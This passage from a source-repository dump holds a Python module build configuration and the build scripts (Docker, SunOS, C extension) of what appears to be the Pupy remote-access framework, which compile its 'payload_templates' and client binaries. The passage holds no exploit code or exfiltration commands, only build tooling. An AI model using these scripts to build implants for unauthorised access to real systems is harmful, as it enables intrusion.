time operations and variables operator operator.c # operator.add() and similar goodies #_testcapi _testcapimodule.c # Python C API test module _random _randommodule.c # Random number generator _collections _collectionsmodule.c # Container types _heapq _heapqmodule.c # Heapq type itertools itertoolsmodule.c # Functions creating iterators for efficient looping strop stropmodule.c # String manipulations _functools _functoolsmodule.c # Tools for working with functions and callable objects _elementtree -I$(srcdir)/Modules/expat -DHAVE_EXPAT_CONFIG_H -DUSE_PYEXPAT_CAPI _elementtree.c # elementtree accelerator # _pickle _pickle.c # pickle accelerator datetime datetimemodule.c # date/time type _bisect _bisectmodule.c # Bisection algorithms unicodedata unicodedata.c # static Unicode character database # access to ISO C locale support _locale _localemodule.c -lintl # Standard I/O baseline _io -I$(srcdir)/Modules/_io _io/bufferedio.c _io/bytesio.c _io/fileio.c _io/iobase.c _io/_iomodule.c _io/stringio.c _io/textio.c # Modules with some UNIX dependencies -- on by default: # (If you have a really backward UNIX, select and socket may not be # supported...) fcntl fcntlmodule.c # fcntl(2) and ioctl(2) spwd spwdmodule.c # spwd(3) grp grpmodule.c # grp(3) select selectmodule.c # select(2); not on ancient System V # Memory-mapped files (also works on Win32). mmap mmapmodule.c # CSV file helper #_csv _csv.c # Socket module helper for socket(2) _socket socketmodule.c -lnsl # Socket module helper for SSL support; you must comment out the other # socket line above, and possibly edit the SSL variable: _ssl _ssl.c -DUSE_SSL -lssl -lcrypto -lnsl # The crypt module is now disabled by default because it breaks builds # on many systems (where -lcrypt is needed), e.g. Linux (I believe). # # First, look at Setup.config; configure may have set this for you. crypt cryptmodule.c # -lcrypt # crypt(3); needs -lcrypt on some systems # Some more UNIX dependent modules -- off by default, since these # are not supported by all UNIX systems: nis nismodule.c -lnsl # Sun yellow pages -- not everywhere termios termios.c # Steen Lumholt's termios module resource resource.c # Jeremy Hylton's rlimit interface # Multimedia modules -- off by default. # These don't work for 64-bit platforms!!! # #993173 says audioop works on 64-bit platforms, though. # These represent audio samples or images as strings: #audioop audioop.c # Operations on audio samples #imageop imageop.c # Operations on images # Note that the _md5 and _sha modules are normally only built if the # system does not have the OpenSSL libs containing an optimized version. # The _md5 module implements the RSA Data Security, Inc. MD5 # Message-Digest Algorithm, described in RFC 1321. The necessary files # md5.c and md5.h are included here. _md5 md5module.c md5.c # The _sha module implements the SHA checksum algorithms. # (NIST's Secure Hash Algorithms.) _sha shamodule.c _sha256 sha256module.c _sha512 sha512module.c # SGI IRIX specific modules -- off by default. # These module work on any SGI machine: # *** gl must be enabled higher up in this file *** #fm fmmodule.c $(GLHACK) -lfm -lgl # Font Manager #sgi sgimodule.c # sgi.nap() and a few more # This module requires the header file # /usr/people/4Dgifts/iristools/include/izoom.h: #imgfile imgfile.c -limage -lgutil -lgl -lm # Image Processing Utilities # These modules require the Multimedia Development Option (I think): #al almodule.c -laudio # Audio Library #cd cdmodule.c -lcdaudio -lds -lmediad # CD Audio Library #cl clmodule.c -lcl -lawareaudio # Compression Library #sv svmodule.c yuvconvert.c -lsvideo -lXext -lX11 # Starter Video # The FORMS library, by Mark Overmars, implements user interface # components such as dialogs and buttons using SGI's GL and FM # libraries. You must ftp the FORMS library separately from # ftp://ftp.cs.ruu.nl/pub/SGI/FORMS. It was tested with FORMS 2.2a. # NOTE: if you want to be able to use FORMS and curses simultaneously # (or both link them statically into the same binary), you must # compile all of FORMS with the cc option "-Dclear=__GLclear". # The FORMS variable must point to the FORMS subdirectory of the forms # toplevel directory: #FORMS=/ufs/guido/src/forms/FORMS #fl flmodule.c -I$(FORMS) $(GLHACK) $(FORMS)/libforms.a -lfm -lgl # SunOS specific modules -- off by default: sunaudiodev sunaudiodev.c # A Linux specific module -- off by default; this may also work on # some *BSDs. #linuxaudiodev linuxaudiodev.c # George Neville-Neil's timing module: #timing timingmodule.c # The _tkinter module. # # The command for _tkinter is long and site specific. Please # uncomment and/or edit those parts as indicated. If you don't have a # specific extension (e.g. Tix or BLT), leave the corresponding line # commented out. (Leave the trailing backslashes in! If you # experience strange errors, you may want to join all uncommented # lines and remove the backslashes -- the backslash interpretation is # done by the shell's "read" command and it may not be implemented on # every system. # *** Always uncomment this (leave the leading underscore in!): # _tkinter _tkinter.c tkappinit.c -DWITH_APPINIT \ # *** Uncomment and edit to reflect where your Tcl/Tk libraries are: # -L/usr/local/lib \ # *** Uncomment and edit to reflect where your Tcl/Tk headers are: # -I/usr/local/include \ # *** Uncomment and edit to reflect where your X11 header files are: # -I/usr/X11R6/include \ # *** Or uncomment this for Solaris: # -I/usr/openwin/include \ # *** Uncomment and edit for Tix extension only: # -DWITH_TIX -ltix8.1.8.2 \ # *** Uncomment and edit for BLT extension only: # -DWITH_BLT -I/usr/local/blt/blt8.0-unoff/include -lBLT8.0 \ # *** Uncomment and edit for PIL (TkImaging) extension only: # (See http://www.pythonware.com/products/pil/ for more info) # -DWITH_PIL -I../Extensions/Imaging/libImaging tkImaging.c \ # *** Uncomment and edit for TOGL extension only: # -DWITH_TOGL togl.c \ # *** Uncomment and edit to reflect your Tcl/Tk versions: # -ltk8.2 -ltcl8.2 \ # *** Uncomment and edit to reflect where your X11 libraries are: # -L/usr/X11R6/lib \ # *** Or uncomment this for Solaris: # -L/usr/openwin/lib \ # *** Uncomment these for TOGL extension only: # -lGL -lGLU -lXext -lXmu \ # *** Uncomment for AIX: # -lld \ # *** Always uncomment this; X11 libraries to link with: # -lX11 # Lance Ellinghaus's syslog module #syslog syslogmodule.c # syslog daemon interface # Curses support, requring the System V version of curses, often # provided by the ncurses library. e.g. on Linux, link with -lncurses # instead of -lcurses). # # First, look at Setup.config; configure may have set this for you. #_curses _cursesmodule.c -lcurses -ltermcap # Wrapper for the panel library that's part of ncurses and SYSV curses. #_curses_panel _curses_panel.c -lpanel -lncurses # Generic (SunOS / SVR4) dynamic loading module. # This is not needed for dynamic loading of Python modules -- # it is a highly experimental and dangerous device for calling # *arbitrary* C functions in *arbitrary* shared libraries: #dl dlmodule.c # Modules that provide persistent dictionary-like semantics. You will # probably want to arrange for at least one of them to be available on # your machine, though none are defined by default because of library # dependencies. The Python module anydbm.py provides an # implementation independent wrapper for these; dumbdbm.py provides # similar functionality (but slower of course) implemented in Python. # The standard Unix dbm module has been moved to Setup.config so that # it will be compiled as a shared library by default. Compiling it as # a built-in module causes conflicts with the pybsddb3 module since it # creates a static dependency on an out-of-date version of db.so. # # First, look at Setup.config; configure may have set this for you. #dbm dbmmodule.c # dbm(3) may require -lndbm or similar # Anthony Baxter's gdbm module. GNU dbm(3) will require -lgdbm: # # First, look at Setup.config; configure may have set this for you. #gdbm gdbmmodule.c -I/usr/local/include -L/usr/local/lib -lgdbm # Sleepycat Berkeley DB interface. # # This requires the Sleepycat DB code, see http://www.sleepycat.com/ # The earliest supported version of that library is 3.0, the latest # supported version is 4.0 (4.1 is specifically not supported, as that # changes the semantics of transactional databases). A list of available # releases can be found at # # http://www.sleepycat.com/update/index.html # # Edit the variables DB and DBLIBVERto point to the db top directory # and the subdirectory of PORT where you built it. #DB=/usr/local/BerkeleyDB.4.0 #DBLIBVER=4.0 #DBINC=$(DB)/include #DBLIB=$(DB)/lib #_bsddb _bsddb.c -I$(DBINC) -L$(DBLIB) -ldb-$(DBLIBVER) # Historical Berkeley DB 1.85 # # This module is deprecated; the 1.85 version of the Berkeley DB library has # bugs that can cause data corruption. If you can, use later versions of the # library instead, available from . #DB=/depot/sundry/src/berkeley-db/db.1.85 #DBPORT=$(DB)/PORT/irix.5.3 #bsddb185 bsddbmodule.c -I$(DBPORT)/include -I$(DBPORT) $(DBPORT)/libdb.a # Helper module for various ascii-encoders binascii binascii.c # Fred Drake's interface to the Python parser #parser parsermodule.c # cStringIO and cPickle cStringIO cStringIO.c cPickle cPickle.c # Lee Busby's SIGFPE modules. # The library to link fpectl with is platform specific. # Choose *one* of the options below for fpectl: # For SGI IRIX (tested on 5.3): #fpectl fpectlmodule.c -lfpe # For Solaris with SunPro compiler (tested on Solaris 2.5 with SunPro C 4.2): # (Without the compiler you don't have -lsunmath.) #fpectl fpectlmodule.c -R/opt/SUNWspro/lib -lsunmath -lm # For other systems: see instructions in fpectlmodule.c. #fpectl fpectlmodule.c ... # Test module for fpectl. No extra libraries needed. #fpetest fpetestmodule.c # Andrew Kuchling's zlib module. # This require zlib 1.1.3 (or later). # See http://www.gzip.org/zlib/ zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz # Interface to the Expat XML parser # # Expat was written by James Clark and is now maintained by a group of # developers on SourceForge; see www.libexpat.org for more # information. The pyexpat module was written by Paul Prescod after a # prototype by Jack Jansen. Source of Expat 1.95.2 is included in # Modules/expat/. Usage of a system shared libexpat.so/expat.dll is # not advised. # # More information on Expat can be found at www.libexpat.org. # pyexpat expat/xmlparse.c expat/xmlrole.c expat/xmltok.c pyexpat.c -I$(srcdir)/Modules/expat -DHAVE_EXPAT_CONFIG_H -DUSE_PYEXPAT_CAPI # Hye-Shik Chang's CJKCodecs # multibytecodec is required for all the other CJK codec modules #_multibytecodec cjkcodecs/multibytecodec.c #_codecs_cn cjkcodecs/_codecs_cn.c #_codecs_hk cjkcodecs/_codecs_hk.c #_codecs_iso2022 cjkcodecs/_codecs_iso2022.c #_codecs_jp cjkcodecs/_codecs_jp.c #_codecs_kr cjkcodecs/_codecs_kr.c #_codecs_tw cjkcodecs/_codecs_tw.c # Example -- included for reference only: # xx xxmodule.c # Another example -- the 'xxsubtype' module shows C-level subtyping in action xxsubtype xxsubtype.c ================================================ FILE: client/sources-linux-py3/build-docker.sh ================================================ #!/bin/sh SELF=$(readlink -f "$0") SELFPWD=$(dirname "$SELF") SRC=${SELFPWD:-$(pwd)} cd $SRC PUPY=$(readlink -f ../../pupy/) TEMPLATES=$PUPY/payload_templates EXTERNAL=../../pupy/external PYKCP=$EXTERNAL/pykcp PYOPUS=$EXTERNAL/pyopus/src SUFFIX="-`python -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`" PIP_INSTALL="python -m pip install --upgrade" set -e echo "[+] Install python packages" $PIP_INSTALL pip $PIP_INSTALL setuptools cython $PIP_INSTALL -q six packaging appdirs #CC=/gccwrap CFLAGS_ABORT="-D_FORTIFY_SOURCE=2 -fstack-protector" \ $PIP_INSTALL -q pynacl CFLAGS_FILTER="-Wno-error=sign-conversion" \ CFLAGS="$CFLAGS -DHEADER_UI_H -D__builtin_unreachable=abort" \ $PIP_INSTALL -q cryptography --no-binary :all: export PRCTL_SKIP_KERNEL_CHECK=yes if [ "$TOOLCHAIN_ARCH" = "x86" ]; then export CFLAGS="$CFLAGS -D__NR_ioprio_get=290 -D__NR_ioprio_set=289" fi LDFLAGS="$LDFLAGS -Wl,-Bstatic -lcap -Wl,-Bdynamic" \ $PIP_INSTALL python-prctl $PIP_INSTALL pyodbc $PIP_INSTALL \ pyaml ushlex rsa netaddr pyyaml ecdsa idna impacket \ paramiko pylzma pydbus python-ptrace psutil scandir \ scapy colorama pyOpenSSL python-xlib msgpack-python \ u-msgpack-python dnslib pyxattr pylibacl http_parser \ https://github.com/alxchk/tinyec/archive/master.zip \ https://github.com/warner/python-ed25519/archive/master.zip \ https://github.com/alxchk/urllib-auth/archive/master.zip \ zeroconf \ watchdog pulsectl pycryptodomex --no-binary :all: LDFLAGS="$LDFLAGS -lm -lasound" CFLAGS="$CFLAGS -std=gnu99" \ $PIP_INSTALL pyalsaaudio --no-binary :all: if [ "$TOOLCHAIN_ARCH" = "x86" ]; then CFLAGS_PYJNIUS="$CFLAGS" else CFLAGS_PYJNIUS="$CFLAGS -D_LP64" fi #CFLAGS="${CFLAGS_PYJNIUS}" NO_JAVA=1 \ # python -m pip install \ # https://github.com/alxchk/pyjnius/archive/master.zip CFLAGS="$CFLAGS -DDUK_DOUBLE_INFINITY=\"(1.0 / 0.0)\"" \ LDFLAGS="$LDFLAGS -lm" \ $PIP_INSTALL dukpy --no-binary :all: #LDFLAGS="$LDFLAGS -lkrb5 -lk5crypto -lcom_err -lgssrpc -lgssapi_krb5" \ # $PIP_INSTALL https://github.com/alxchk/ccs-pykerberos/archive/master.zip LDFLAGS="$LDFLAGS -lasound -lm -lrt" $PIP_INSTALL pyaudio $PIP_INSTALL --force-reinstall pycparser==2.17 echo "[+] Compile pykcp" rm -rf $PYKCP/{kcp.so,kcp.pyd,kcp.dll,build,KCP.egg-info} $PIP_INSTALL --force $PYKCP python -c 'import kcp' || exit 1 #echo "[+] Compile opus" #(cd $PYOPUS && make clean && LDFLAGS="$LDFLAGS -lm" make && mv -f opus.so /usr/lib/python2.7/site-packages) #python -c 'import opus' || exit 1 echo "[+] Compile pyuv" if [ "$TOOLCHAIN_ARCH" = "x86" ]; then CFLAGS_PYUV="-O2 -pipe -DCLOCK_MONOTONIC=1 -UHAVE_PTHREAD_COND_TIMEDWAIT_MONOTONIC" CFLAGS_PYUV="$CFLAGS_PYUV -U_FILE_OFFSET_BITS -D_XOPEN_SOURCE=600 -D__USE_XOPEN2K8" CFLAGS_PYUV="$CFLAGS_PYUV -D_GNU_SOURCE -DS_ISSOCK(m)='(((m) & S_IFMT) == S_IFSOCK)'" # It may not be possible to build pyuv with linux32 toolchain, because woody don't have epoll() wrapper yet # So make an exception LDFLAGS="--shared -Os -L/opt/static -static-libgcc -Wl,--allow-shlib-undefined" \ CFLAGS_FILTER="-D_FILE_OFFSET_BITS=64 -Wl,--no-undefined" CFLAGS="$CFLAGS_PYUV" \ $PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all: else CFLAGS="$CFLAGS -D_XOPEN_SOURCE=600 -D_GNU_SOURCE -DS_ISSOCK(m)='(((m) & S_IFMT) == S_IFSOCK)'" \ $PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all: fi #$PIP_INSTALL --no-binary :all: pycryptodome $PIP_INSTALL https://github.com/Legrandin/pycryptodome/archive/master.zip #cd /usr/lib/python3.10 cd ~/.pyenv/versions/3.*/lib/python3.* echo "[+] Strip python modules" find -name "*.so" | while read f; do strip $f; done echo "[+] Build python template ($TOOLCHAIN_ARCH)" rm -f ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip zip -y -r -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip . \ -x "*.a" -x "*.la" -x "*.o" -x "*.whl" -x "*.txt" -x "*.pyo" -x "*.pyc" \ -x "*test/*" -x "*tests/*" -x "*examples/*" \ -x "*.egg-info/*" -x "*.dist-info/*" \ -x "idlelib/*" -x "lib-tk/*" -x "tk*" -x "tcl*" >/dev/null #cd /usr/lib mkdir -p /tmp/libs cd /tmp/libs cp /usr/lib/x86_64-linux-gnu/libodbc.so.1 libodbc.so zip -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip \ libpq.so libodbc.so psqlodbcw.so libodbcinst.so libmaodbc.so echo "[+] Build pupy" case $TOOLCHAIN_ARCH in amd64) MAKEFLAGS="ARCH=64 MACH=x86_64" TARGETS="pupyx64d${SUFFIX}.lin pupyx64d${SUFFIX}.lin" TARGETS="$TARGETS pupyx64${SUFFIX}.lin pupyx64${SUFFIX}.lin.so" export LIBPYTHON=/root/.pyenv/versions/3.10.6/lib/libpython3.10.so export LIBPYTHON_INC="-I/root/.pyenv/versions/3.10.6/include/python3.10" ;; x86) MAKEFLAGS="ARCH=32 PIE= MACH=i686 $LIBS" TARGETS="pupyx86d${SUFFIX}.lin pupyx86d${SUFFIX}.lin.so" TARGETS="$TARGETS pupyx86${SUFFIX}.lin pupyx86${SUFFIX}.lin.so" ;; *) LIBS="LIBSSL=/usr/lib/libssl.so LIBCRYPTO=/usr/lib/libcrypto.so" LIBS="$LIBS LIBPYTHON=/usr/lib/libpython3.10.so" MAKEFLAGS="MACH=${TOOLCHAIN_ARCH} $LIBS" TARGETS="pupy${TOOLCHAIN_ARCH}d.lin pupy${TOOLCHAIN_ARCH}d.lin.so" TARGETS="$TARGETS pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin.so" ;; esac for target in $TARGETS; do rm -f $TEMPLATES/$target; done cd $SRC MAKEFLAGS="$MAKEFLAGS OPENSSL_LIB_VERSION=1.1" export PKG_CONFIG_PATH=$(echo ~/.pyenv/versions/*/lib/pkgconfig) make $MAKEFLAGS distclean make -j $MAKEFLAGS #make $MAKEFLAGS make $MAKEFLAGS clean make -j DEBUG=1 $MAKEFLAGS #make DEBUG=1 $MAKEFLAGS for object in $TARGETS; do if [ -z "$object" ]; then continue fi if [ ! -f $TEMPLATES/$object ]; then echo "[-] $object - failed" FAILED=1 fi done if [ -z "$FAILED" ]; then echo "[+] Build complete" else echo "[-] Build failed" exit 1 fi ================================================ FILE: client/sources-linux-py3/build_c_ext.py ================================================ #!/usr/bin/env python3 # -*- coding: UTF8 -*- from distutils.core import setup, Extension import sys def main(): extra_compile_args = ["-D_PUPY_SO=1", "-DLinux=1"] extra_sources = [] if "--debug" in sys.argv: extra_compile_args += ["-DDEBUG"] extra_sources+=["../common/debug.c"] print("compiling _pupy.so with DEBUG=1") setup(name="_pupy", version="1.0.0", description="_pupy linux c extension", author="n1nj4sec", ext_modules=[Extension("_pupy",sources=(["pupy.c", "daemonize.c", "tmplibrary.c", "ld_hooks.c", "decompress.c"]+extra_sources), include_dirs=[".","../common"], extra_compile_args=extra_compile_args )]) if __name__ == "__main__": main() ================================================ FILE: client/sources-linux-py3/buildenv-sunos.sh ================================================ #!/usr/bin/bash set -e exec 2>buildenv-sunos.log BPWD=`pwd` BUILDENV=$BPWD/buildenv-sunos TEMPLATES=$BPWD/../../pupy/payload_templates cat >gccwrap << '__EOF__' #!/usr/bin/bash declare -a filter=( "$CFLAGS_FILTER" ) declare -a badargs=( "$CFLAGS_ABORT" ) declare -a outargs=() for arg; do found=false for filtered in ${filter[@]}; do if [ "$filtered" == "$arg" ]; then found=true break fi done for bad in ${badargs[@]}; do if [ "$bad" == "$arg" ]; then echo "Unsupported argument found: $bad" exit 1 fi done if [ "$found" = "false" ]; then outargs[${#outargs[@]}]="$arg" fi done exec gcc $GCCWRAP_CFLAGS_EXTRA "${outargs[@]}" __EOF__ chmod +x gccwrap export CC=$BPWD/gccwrap mkdir -p $BUILDENV # VERSIONS /MAY/ BE UPDATED (In case of vulnerabilites) OPENSSL_SRC="https://www.openssl.org/source/openssl-1.0.2p.tar.gz" ZLIB_SRC="http://zlib.net/zlib-1.2.11.tar.gz" SQLITE_SRC="http://www.sqlite.org/2018/sqlite-autoconf-3220000.tar.gz" LIBFFI_SRC="http://http.debian.net/debian/pool/main/libf/libffi/libffi_3.2.1.orig.tar.gz" PYTHON_SRC="https://www.python.org/ftp/python/2.7.15/Python-2.7.15.tgz" export PATH="$BUILDENV/build/bin:/opt/csw/bin/:/usr/sfw/bin/:/usr/ccs/bin/:/usr/xpg4/bin/:$PATH" # pkgutil -y -i wget automake autoconf pkgconfig xz libtool git if [ ! -d $BUILDENV/src ]; then mkdir -p $BUILDENV/build $BUILDENV/src cd $BUILDENV/src for bin in "$OPENSSL_SRC" "$ZLIB_SRC" "$SQLITE_SRC" "$LIBFFI_SRC" "$PYTHON_SRC"; do wget -O - "$bin" | gzip -d | tar xf - done cd - fi export LD_LIBRARY_PATH=$BUILDENV/build/lib export CFLAGS="-m64 -fPIC -DSUNOS_NO_IFADDRS -DHAVE_AS_X86_64_UNWIND_SECTION_TYPE -I$BUILDENV/build/lib/libffi-3.2.1/include -I$BUILDENV/build/include" export LDFLAGS_NODEFS="-Wl,-i -m64 -fPIC -L$BUILDENV/build/lib -static-libgcc -lc -Wl,-znow -Wl,-zignore" export LDFLAGS_DEFS="-Wl,-i -m64 -fPIC -L$BUILDENV/build/lib -static-libgcc -lc -Wl,-zdefs -Wl,-znow -Wl,-zignore" export LDFLAGS=$LDFLAGS_DEFS export PKG_CONFIG_PATH="$BUILDENV/build/lib/pkgconfig" set -x ln -sf /usr/lib/amd64/libcrypt_i.so /usr/lib/amd64/libcrypt.so cd $BUILDENV/src/zlib-1.2.11 ./configure --64 --static --prefix=$BUILDENV/build; gmake; gmake install cd $BUILDENV/src/libffi-3.2.1 ./configure --enable-static --disable-shared --prefix=$BUILDENV/build; make; make install cd $BUILDENV/src/sqlite-autoconf-3220000 ./configure --enable-static --disable-shared --prefix=$BUILDENV/build; gmake; gmake install cd $BUILDENV/src/openssl-1.0.2p ./Configure --openssldir=$BUILDENV/build/ shared solaris64-x86_64-gcc; gmake; gmake install export GCCWRAP_CFLAGS_EXTRA=-std=gnu99 export LDFLAGS=$LDFLAGS_NODEFS cd $BUILDENV/src/Python-2.7.15 [ -f $BPWD/Python.SunOS10.Setup.dist ] && \ cp -f $BPWD/Python.SunOS10.Setup.dist $BUILDENV/src/Python-2.7.15/Modules/Setup.dist ./configure --with-ensurepip=install --enable-unicode=ucs4 \ --with-system-ffi --enable-ipv6 --prefix=$BUILDENV/build \ CFLAGS="$CFLAGS -DXML_DEV_URANDOM" gmake; gmake install gcc -m64 --without-libgcc -shared -fPIC -o $BUILDENV/build/lib/libpython2.7.so \ -Wl,--whole-archive libpython2.7.a -Wl,--no-whole-archive \ -lc -lnsl -lsocket -lz -lm -ldl -lrt \ $BUILDENV/build/lib/libssl.so $BUILDENV/build/lib/libcrypto.so \ -lpthread \ -Wl,--no-undefined -Wl,-zignore -Wl,-zdefs -Wl,-znow -Wl,-h,libpython2.7.so.1.0 unset GCCWRAP_CFLAGS_EXTRA cat >$BUILDENV/build/certs/244b5494.0 << __EOF__ -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j ZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3 LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug RVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm +9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW PNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM xChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB Ik5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3 hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg EsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF MAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA FLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec nzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z eM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF hS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2 Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep +OkuE6N36B9K -----END CERTIFICATE----- __EOF__ cat >$BUILDENV/build/certs/b155520b.0 << __EOF__ -----BEGIN CERTIFICATE----- MIIEizCCA3OgAwIBAgIORvCM288sVGbvMwHdXzQwDQYJKoZIhvcNAQELBQAwVzEL MAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsT B1Jvb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw0xNTA4MTkw MDAwMDBaFw0yNTA4MTkwMDAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBH bG9iYWxTaWduIG52LXNhMS0wKwYDVQQDEyRHbG9iYWxTaWduIENsb3VkU1NMIENB IC0gU0hBMjU2IC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCj wHXhMpjl2a6EfI3oI19GlVtMoiVw15AEhYDJtfSKZU2Sy6XEQqC2eSUx7fGFIM0T UT1nrJdNaJszhlyzey2q33egYdH1PPua/NPVlMrJHoAbkJDIrI32YBecMbjFYaLi blclCG8kmZnPlL/Hi2uwH8oU+hibbBB8mSvaSmPlsk7C/T4QC0j0dwsv8JZLOu69 Nd6FjdoTDs4BxHHT03fFCKZgOSWnJ2lcg9FvdnjuxURbRb0pO+LGCQ+ivivc41za Wm+O58kHa36hwFOVgongeFxyqGy+Z2ur5zPZh/L4XCf09io7h+/awkfav6zrJ2R7 TFPrNOEvmyBNVBJrfSi9AgMBAAGjggFTMIIBTzAOBgNVHQ8BAf8EBAMCAQYwHQYD VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBIGA1UdEwEB/wQIMAYBAf8CAQAw HQYDVR0OBBYEFKkrh+HOJEc7G7/PhTcCVZ0NlFjmMB8GA1UdIwQYMBaAFGB7ZhpF DZfKiVAvfQTNNKj//P1LMD0GCCsGAQUFBwEBBDEwLzAtBggrBgEFBQcwAYYhaHR0 cDovL29jc3AuZ2xvYmFsc2lnbi5jb20vcm9vdHIxMDMGA1UdHwQsMCowKKAmoCSG Imh0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vcm9vdC5jcmwwVgYDVR0gBE8wTTAL BgkrBgEEAaAyARQwPgYGZ4EMAQICMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vd3d3 Lmdsb2JhbHNpZ24uY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQCi HWmKCo7EFIMqKhJNOSeQTvCNrNKWYkc2XpLR+sWTtTcHZSnS9FNQa8n0/jT13bgd +vzcFKxWlCecQqoETbftWNmZ0knmIC/Tp3e4Koka76fPhi3WU+kLk5xOq9lF7qSE hf805A7Au6XOX5WJhXCqwV3szyvT2YPfA8qBpwIyt3dhECVO2XTz2XmCtSZwtFK8 jzPXiq4Z0PySrS+6PKBIWEde/SBWlSDBch2rZpmk1Xg3SBufskw3Z3r9QtLTVp7T HY7EDGiWtkdREPd76xUJZPX58GMWLT3fI0I6k2PMq69PVwbH/hRVYs4nERnh9ELt IjBrNRpKBYCkZd/My2/Q -----END CERTIFICATE----- __EOF__ cat >$BUILDENV/build/certs/5ad8a5d6.0 << __EOF__ -----BEGIN CERTIFICATE----- MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp 1Wrjsok6Vjk4bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdG snUOhugZitVtbNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJ U26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N8 9iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8E BTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0B AQUFAAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOz yj1hTdNGCbM+w6DjY1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE 38NflNUVyRRBnMRddWQVDf9VMOyGj/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymP AbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhHhm4qxFYxldBniYUr+WymXUad DKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveCX4XSQRjbgbME HMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A== -----END CERTIFICATE----- __EOF__ python -m pip install --upgrade six packaging appdirs setuptools export 